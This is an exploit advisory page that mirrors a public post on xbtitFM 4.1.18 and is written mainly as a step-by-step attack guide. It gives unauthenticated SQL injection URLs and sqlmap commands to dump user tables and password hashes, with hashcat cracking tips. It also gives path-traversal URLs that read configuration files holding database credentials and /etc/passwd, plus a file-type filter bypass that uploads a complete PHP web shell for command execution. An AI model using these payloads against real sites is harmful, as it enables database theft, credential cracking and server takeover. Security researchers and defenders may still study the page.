Advertisement






xbtitFM 4.1.18 SQL Injection / Shell Upload / Traversal

CVE Category Price Severity
N/A CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Not specified High
Author Risk Exploitation Type Date
Not specified Critical Remote 2024-01-22
CVSS
3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010069

Below is a copy:

xbtitFM 4.1.18 SQL Injection / Shell Upload / Traversal
# Exploit Title: xbtitFM 4.1.18 Multiple Vulnerabilities
# Date: 22-01-2024
# Exploit Author: Who cares anyway
# Vendor Homepage: https://xbtitfm.eu
# Affected versions: 4.1.18 and prior
# CVE : Who cares anyway
# Description: The SQLi and the path traversal are unauthenticated, they don't require any user interaction to be exploited and are present in the default configuration of xbtitFM.
The insecure file upload requires the file_hosting feature (hack) being enabled. If not, it can be enabled by gaining access to an administrator account.
Looking at the state and the age of the codebase there are probably more, but who cares anyway...

[Unauthenticated SQL Injection - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]

Some examples:
Get DB name:
/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(DATABASE() AS NCHAR),0)),1,100)))) 

Get DB user:
/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0)),1,100)))) 

Get password hash of any user (might need some modification to work on different instances):
/shoutedit.php?action=edit&msgid=1337 OR (1,1) = (SELECT COUNT(0),CONCAT((SELECT CONCAT_WS(0x3a,id,username,password,email,0x3a3a3a) FROM xbtit_users WHERE username='admin_username_or_whatever_you_like'),FLOOR(RAND(0)*2)) FROM (information_schema.tables) GROUP BY 2);

Now the fun part. Automate it with sqlmap to dump the database.
1) Get DB name
sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch --current-db
2) Get table names
sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name --tables
3) Dump users table (usually called xbtit_users)
sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name -T xbtit_users -C id,username,email,cip,dob,password,salt,secret --dump
4) Crack hashes (usually unsalted MD5, yey!)
hashcat m 0 xbtitfm_exported_hashes.txt wordlist.txt
Pro tip: Use All-in-One-P (https://weakpass.com/all-in-one)

[Unauthenticated Path traversal - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]

1) Intentionally search for a file that doesn't exist to get the web application path e.g. (/home/xbtitfm/public_html/)
https://example.xyz/nfo/nfogen.php?nfo=random_value_to_get_error_that_reveals_the_real_path

2) Read files that contain database credentials.
https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/settings.php
https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/update.php

Or any other system file you want.
https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../etc/passwd

3) Now who needs the SQLi to dump the DB when you have this gem? Check if the following file is configured 
https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/sxd/cfg.php
If so, go to https://example.xyz/sxd (CBT Sql backup utilitiy aka Sypex-Dumper), login with the DB credentials you just found, now export the DB with on click. Nice and easy.

[Insecure file upload - Remote Code Execution (Authenticated)- CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]

If that wasn't enough already and you want RCE, visit https://example.xyz/index.php?page=file_hosting
If the file hosting feature (hack) is enabled, then simply just upload a PHP shell with the following bypass.
Changing the Content-Type of the file to image/gif and the first bytes to GIF89a; are enought to bypass the filetype checks.
A silly contermeasure against PHP files is in place so make sure you change <?php to <?pHp to bypass it.

Content-Disposition: form-data; name="file"; filename="definately_not_a_shell.php"
Content-Type: image/gif

GIF89a;
<html>
<body>
<form method="GET" name="<?pHp echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>

<pre>
<?pHp

    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

</pre>
</body>
</html>

The web shell will then be uploaded here:
https://example.xyz/file_hosting/definately_not_a_shell.php

If the file hosting feature is disabled, extract and crack the hash of an admin, then enable the feature from the administration panel and upload the shell.

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.